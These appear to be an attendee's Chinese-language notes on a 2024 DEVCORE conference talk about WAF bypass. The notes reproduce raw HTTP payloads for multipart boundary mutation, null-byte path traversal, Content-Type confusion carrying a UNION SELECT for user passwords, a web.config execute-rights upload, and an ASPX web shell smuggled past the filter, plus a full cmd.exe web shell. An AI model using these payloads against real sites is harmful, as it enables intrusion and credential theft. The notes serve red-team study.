DEVCORE CONFERENCE 2024 「牆の調查:致 WAF 前的你」 (Mico)
DEVCORE CONFERENCE 2024 「牆の調查:致 WAF 前的你」 (Mico)
Table of Contents
[TOC]
Conference Info
Conference Title: DEVCORE CONFERENCE 2024
Date: 2024.03.16
Location: TICC 台北國際會議中心 201 會議室(台北市信義區信義路五段 1 號)
Presentation Title: 牆の調查:致 WAF 前的你
Speaker: 高敏睿 (Mico) | DEVCORE 資深紅隊演練專家
Description:\
"WAF" 作為一種已臻於成熟的技術產品,不僅是抵禦網路威脅的高壘深塹,其發展速度也猶如是向紅隊發出了挑戰。本議程將回顧早期的繞過技巧,以及介紹至今紅隊專家如何鑿壁偷光?議程中將簡單解析 WAF 的基本原理,探討紅隊如何在實際情況中,成功讓關鍵請求繞過這些安全措施。亦會分享一些從實戰中提煉出的經驗,包括那些起初看似不可能繞過,卻屢屢成功實現的真實案例。最後將從戴夫寇爾視角總結 WAF 在當今網路安全生態中的地位和效力。
附上這次 conference 很有收穫的一句話:

Presentation Technical Content
內容也包含自己不太懂,上網 research 的補充知識
HTTP Request
- Request Line
- Header
- Empty Line
- Message Body
- multipart/form-data
用途: 可以傳送 multipart 的資料(如文字與檔案)給 Server,透過一次 request 傳送多種資料類型
- format
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary<隨機字串>--
boundary: 用來分隔不同 part 的資料,以--boundary開頭,最後用-boundary--結束。
--Content-Disposition:
定義該 part 是表單欄位還是檔案
--WebKitFormBoundary:
webkit engine(如 Chrome、Safari)生成的 boundary 標記。《沒那麽簡單》黃小琥 (Tiger Huang):
一杯紅酒配電影
在周末晚上 關上了手機 舒服窩在 Safari
boundary 可以簡化

將 boundary 自 ----WebKitFormBoundarysNcHQhF5wOWC21z5簡化成 x
WAF 處理流程

請求進入
Client 發送 HTTP/HTTPS (GET、POST 等),帶 URL、表單數據、JSON 或其他有效負載
預處理
http/s 封包判別:
- 加密的流量(如 HTTPS)解密為的明文內容
- 檢查請求是 HTTP 還是 HTTPS,確保流量格式正確
解析
- 分析請求的整體結構
- 去除冗餘字串元、編碼還原(如 URL decode)
- 處理 multipart boundary 或 Chunked 內容
- 在請求路徑 /download.aspx 和 index.aspx "合理"
- Referer Header 來自 devcore.re/index.aspx "合理"
- Content-Disposition Header,檔案名稱出現 download.aspx "可疑"
.aspx是 ASP.NET 的可執行網頁檔,可以透過上傳注入 Web Shell 達到 RCE,例如:/uploads/download.aspx?cmd=whoami- 檔案上傳類型常見圖片、文件等,.aspx 可執行檔案格式不常見。
稽核輸入
WAF 稽核、種類

-
Key word、Regular expression 針對特定關鍵字或使用正規表達式過濾惡意內容。例如偵測 SQLi 關鍵字
UNION,SELECT,DROP等等 -
Rate Limit 限制單位時間內同一個來源發送的請求數量,防止 DoS 或 Brute-force 等等
-
大小限制 設定檔案上傳的大小限制,避免 Server 資源耗盡,防止大量檔案上傳攻擊 或 Buffer Overflow
-
地理限制 根據 IP 的地理位置限制存取,利用 VPN 或 Proxy Server 等
-
Machine Learning 透過 AI Model 分析流量行為,偵測 user behavior 或新的攻擊模式
WAF 阻擋手段
- 封鎖 IP
- 回首頁
- 顯示阻擋頁面
若阻擋頁面為預設畫面,可以透過阻擋頁面去猜測 Server 端使用的 WAF 廠牌
轉送後端
夢回 2009 繞 WAF
2009 案例 I
id=1' and 1=1#
利用 SQL 註解語法與空格的混淆來繞過 WAF
Key word、Regular expression
id=1'/**/and/**/1/**/=/**/1/**/#
在 SQL 中查詢:
SELECT * FROM users WHERE id='1' /**/and/**/1/**/=/**/1/**/#;
經過 SqlParser結果:
SELECT * FROM users WHERE id='1' AND 1=1;
2009 案例 II
content=<img src1 error=alert()>

URL encode 3 次
content=%25%32%35%25%33%33%25%36%33%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%34%25%32%35.........%33%32%25%33%39%25%32%35%25%33%33%25%36%35
2009 案例 III
id=1' and 1=1#
修改 Content-Type,讓 WAF 無法識別 request,達到繞過 WAF 的檢查。\
檢查流程:
首先檢查 HTTP 請求的方法是否為 POST,再確認 Message Body 類性: Content-Type == application/x-www-form-urlencoded。
那如果刪除 Header ?!!
WAF 繞過技巧
- 語言特性
MySQL:

- 單引號閉合
- 註解 /**/ 代替空格,Bypass WAF 偵測關鍵字
- 大小寫
- 特殊字元、符號
- 作業系統、網頁伺服器

- php bypass file extensions checks (HackTricks/file-upload)
- MIME data encode
2.1
filename*=utf7''shell.php: UTF-7 混淆'',不影響 shell.php
2.2filename="=?utf8?b?c2hlbGwucGhw?="
=?utf8?b?: 使用 UTF-8,b 表示 Base64 encode
c2hlbGwucGhw(Base64 decode): shell.php
- NTFS(New Technology File System):
::$DATA預設資料流的類型
- 前後端解析不一致
- 其他 (參數過多、長度過長、找真實 IP 地址等等)
近兩年實戰案例

繞過案例 (一): Boundary Mutation - 任意讀檔

- 在 multipart boundary path 中測試路徑: 200 OK
./upload/../upload/測試相同路徑,但 ../ 被 WAF 檔掉- 但在 boundary 外加入黑名單 key word (../): 200 OK
POST /download.php HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)
--x
Content-Disposition: form-data; name="path";
./upload/
--x
Content-Disposition: form-data; name="file";
s101.pdf
--x--
/../ #boundary 外
- Boundary Mutation: 200 OK
針對 boundary 進行變異:
- 加入 \0(空字元)、空格或換行:
------WebKitFormBoundary12345\0- 增加 boundary 外的前後字串:
boundary="----WebKitFormBoundary12345"- 透過 URL encode、UTF-7 或其他編碼:
boundary=----%57ebKitFormBoundary12345
POST /download.php HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)
--x\0
Content-Disposition: form-data; name="path";
./upload/../upload/
--x\0
Content-Disposition: form-data; name="file";
s101.pdf
--x--
-
嘗試讀檔

-
路徑再塞入 null byte
POST /download.php HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)
--x\0
Content-Disposition: form-data; name="path";
../download.php\0
--x\0
Content-Disposition: form-data; name="file";
s101.pdf
--x--

繞過案例 (二): Content-Type Confusion - SQLi
POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded
Content-Length: (auto)
action=search&query=DEVCORE
-
針對 Query 注入,但單引號(
')伺服器回應500 -
兩個單引號(
'') 200 OK,但查無結果 -
兩個單引號(
'||') 200 OK,且結果正確
-
嘗試
' order by 1 --403 WAF 阻擋 -
嘗試
' or403 WAF 阻擋
or 會被阻擋
經驗值+1 推測:
/'.*(or|select|-- ..)/
- 再塞入一個參數,仍會變被 WAF 偵測到
POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded
Content-Length: (auto)
action=search&query=DEVCORE&xx'&orxx
- 單引號再塞入一個參數 200 OK,且結果正確

- Header 中塞入黑名單,測試 WAF 會不會偵測: 200 OK,且結果正確
POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded
Foo: xx'orxx
Content-Length: (auto)
action=search&query=DEVCORE
- multipart/form-data: 200 OK,且結果正確
POST /action HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)
--x
Content-Disposition: form-data; name="action"
search
--x
Content-Disposition: form-data; name="query"
DEVCORE
--x--
- query 加入黑名單,測試 WAF 會不會偵測到: 會

- 嘗試加入 file type: 403 WAF 阻擋
POST /action HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)
--x
Content-Disposition: form-data; name="action"
search
--x
Content-Disposition: form-data; name="query"; filename="x.jpg"
DEVCORE'or
--x--
- 塞在 Header 參數外: 403 WAF 阻擋
POST /action HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)
--x
Content-Disposition: form-data; name="action"
search
--x
Content-Disposition: form-data; name="query"; 'or
DEVCORE
--x--
- 嘗試加入 Content-Type: 200 OK,且結果正確
POST /action HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)
--x
Content-Disposition: form-data; name="action"
search
--x
Content-Disposition: form-data; name="query"; 'or
Content-Type: image/jpeg
DEVCORE
--x--
- Content-Type嘗試成功,那塞入黑名單: 200 OK,且結果正確

- 更改 multipart 的 Content-Type: 200 OK,且結果正確
POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded; multipart/form-data; boundary=x
Content-Length: (auto)
--x
Content-Disposition: form-data; name="action"
search
--x
Content-Disposition: form-data; name="query"; 'or
Content-Type: image/jpeg
DEVCORE
--x--
Server & WAF 看得不一樣:
- 在伺服器還是會優先解析
application/x-www-form-urlencoded,而非multipart/form-data- 針對 WAF 會誤認為整體 request 是
multipart/form-data,因此不會去檢查到 multipart 的參數或內容
- 將 payload 塞入 header: 200 OK,且結果正確

為什麼 Server 可以執行 query?
但 WAF 看不見(上面已解釋)當伺服器因為 Content-Type priority 解析 由左至右第一個
application/x-www-form-urlencoded;來提取內容。
POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded; multipart/form-data; boundary=x
Content-Length: (auto)
--x
Content-Disposition: form-data; name="action"
search
--x
Content-Disposition: form-data; name="query"; 'or
Content-Type: image/jpeg&action=search&query=DEVCORE
DEVCORE
--x--
&action=search&query=DEVCOREWAF 會誤以爲是正常form header
但後端會認為是 query string
-
驗證後段認為是 query string: 伺服器回應500

-
後段驗證成功,塞入 sqli payload: 200 OK,成功注入
POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded; multipart/form-data; boundary=x
Content-Length: (auto)
--x
Content-Disposition: form-data; name="action"
search
--x
Content-Disposition: form-data; name="query"; 'or
Content-Type: image/jpeg&action=search&query=DEVCORE' union select null, null, email, passwd from users --
DEVCORE
--x--

繞過案例 (三): Form Header Confusion & Content-Type Confusion - File upload
已知上傳路徑不可執行 aspx,任意檔案上傳 (web.config、ASPX Web Shell)
針對 IIS Server:
(1)web.config是 IIS 伺服器上的設定檔案,使用 XML 格式來設定應用程式的行為。
(2)ASPX Web ShellASPX 是 IIS 伺服器支援的動態網頁格式,由 ASP.NET 解析並執行。ASPX Web Shell 在伺服器上執行命令、控制主機。
常見 Web Shell:<%@ Page Language="C#" Debug="true" %> <% System.Diagnostics.ProcessStartInfo psi = new >System.Diagnostics.ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = "/c " + Request.QueryString["cmd"]; psi.UseShellExecute = false; psi.RedirectStandardOutput = true; System.Diagnostics.Process proc = >System.Diagnostics.Process.Start(psi); string output = proc.StandardOutput.ReadToEnd(); Response.Write("<pre>" + output + "</pre>"); %>

- 測試 WAF 會偵測的地方,上傳路徑更改為不存在的路徑,避免上傳成功覆蓋到原始資料
POST /does_not_exist HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)
--x
Content-Disposition: form-data; name="file"; filename="1.txt";
Content-Type: text/plain
DEVCORE
--x--
- 測試 WAF 阻擋的地方與規則_Content-Disposition
因已將路徑改成不存在路徑
代表 (1) 403 WAF 阻擋 (2) 404 有過
filename="web.config";403 WAF 阻擋filename="Xweb.config";字元+黑名單 403 WAF 阻擋filename="Xweb.configX";字元+黑名單+字元 403 WAF 阻擋filename="Xweb. configX";黑名單+空格,404 有過filename="XX"; web.config黑名單丟到參數外,404 有過
-
測試 WAF 阻擋的地方與規則_Content-Type: 404 有過

-
測試 WAF 阻擋的地方與規則_Form Content: 403 WAF 阻擋
POST /does_not_exist HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)
--x
Content-Disposition: form-data; name="file"; filename="XX";
Content-Type: text/plain
DEVweb.configCORE
--x--
- 測試 WAF 阻擋的地方與規則_boundary外
- 黑名單: 403 WAF 阻擋
POST /does_not_exist HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)
--x
Content-Disposition: form-data; name="file"; filename="XX";
Content-Type: text/plain
DEVCORE
--x--
web.config
- 塞垃圾: 403 WAF 阻擋
POST /does_not_exist HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)
--x
Content-Disposition: form-data; name="file"; filename="XX";
Content-Type: text/plain
DEVCORE
--x--
foo
Double Boundary 測試 WAF
- 找個回顯的測試頁面,確保結果正確

- 測試正常 Double Boundary: 403 WAF 阻擋
POST /echo.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x; boundary=y;
Content-Length: (auto)
--x
Content-Disposition: form-data; name="msg"
Content-Type: text/plain
1
--x--
- 第一個 Boundary 改成大寫: 403 WAF 阻擋
POST /echo.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=x; boundary=y;
Content-Length: (auto)
--x
Content-Disposition: form-data; name="msg"
Content-Type: text/plain
1
--x--
- 第二個 Boundary 改成大寫: 200 OK
POST /echo.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x; BOUNDARY=y;
Content-Length: (auto)
--x
Content-Disposition: form-data; name="msg"
Content-Type: text/plain
1
--x--
Bypass WAF 後,測試 Server 可以識別的其他方式
- Boundary 前後對調: 伺服器回應 500
POST /echo.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y;boundary=x;
Content-Length: (auto)
--x
Content-Disposition: form-data; name="msg"
Content-Type: text/plain
1
--x--
代表 WAF bypass,但 Server 也無法識別\

以上測試 WAF 與 Server 識別 Content-Type 結果
Double Boundary 測試 Server 識別 Message Body
- x 包覆 y

WAF 將 boundary y 誤認為 Content
但 Server 能夠識別 boundary y 且接受 boundary 外有垃圾
為什麼 WAF 只吃 x 不吃 y ?
- 以上述測試表格顯示: WAF 只能識別
第一個 boundary 參數且另一個 需要大寫 BOUNDARY y 才能 bypass block (因為是 content boundary--x開頭,所以 WAF 只識別第一個參數 boundary x)為什麼 Server 只吃 y 不吃 x ?
- 依照Content-Type Header 規範
不允許多個 boundary 同時存在,當 boundary 被多次定義時,後端解析器通常會直接採用最後出現的值(boundary=y)

定義完各自的世界觀,開始測試 payload
- 使用前面 Content-Disposition 的 trick (
filename="XX"; web.config黑名單丟到參數外,404 有過),在 Content-Disposition 塞入
filename="1.txt";200 OKx=filename="1.txt";web.config200 OK- 結合:
x=filename="1;/../web.config"200 OK
WAF 世界觀:
x=filename="1;/../web.config"Server 世界觀:x=filename="1;/../web.config"
- 上傳完整 web.config
POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)
--x
Content-Disposition: form-data; name="file"; x=filename="1;/../web.config"
Content-Type: text/plain
<?xml version="1.0"?>
<configuration>
<system.webServer>
<security>
<requestFiltering allowDoubleEscaping="true" />
</security>
<handlers accessPolicy="Read, Execute" />
</system.webServer>
</configuration>
--x--
(1)
<requestFiltering allowDoubleEscaping="true" />: 啟用雙重編碼(例如 %252E 會被解碼成 %2E 再解碼成 .),可繞過 URL 過濾規則。 (2)<handlers accessPolicy="Read, Execute" />: 設定 Server 允許執行檔案的權限,可能上傳執行惡意腳本。
-
上傳完整 Web Shell: 403 WAF 阻擋

-
使用上述 Double Boundary 的特性
POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y:; boundary=x;
Content-Length: (auto)
--x
Content-Disposition: form-data; name="x";
1
--x
--y:
Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";
--x
Content-Disposition: form-data; name="foo";
Content-Type: <%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>
--y:--
--x--
Server 世界觀:
WAF 世界觀:
WAF 認為:
--y:是 x form 中,沒 value 的 headerContent-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";仍然是 x form 裡面的 header- Web Shell 在 Content-Type 不會被擋,可成功上傳 Shell 內容

總結

致紅隊

致藍隊

Personal Reflections

這次 Mico 的技術分享,
在思維方面:
- 先了解防禦機制的處理流程
- 將防禦偵測機制分類,透過各個類別有邏輯的去嘗試
- 依據回應內容判斷 WAF 與 Server之間的關係
- payload 注入的點,根據 server response 有脈絡的分析可行性
- 「畢竟前後端點本身就不一樣」,這個觀點讓我對 Bypass 各種防禦機制更感興趣
在技術方面:
- 「夢回 2009 繞 WAF」Review 了 Sqli, XSS 與各種 bypass 技巧
- 之前針對 multipart data,只有針對 Content 塞東西。透過這次學習到:
2.1 boundary mutation
2.2 新增 Header 或 Header 參數,測試 bypass WAF
2.3 Content-Disposition、Content-Type 塞入 query
2.4 Boundary 外也能丟東西
2.5 第一次知道 Double Boundary 的用法 - 拆解 WAF視野 與 Server視野


WAF 世界觀:
WAF 認為: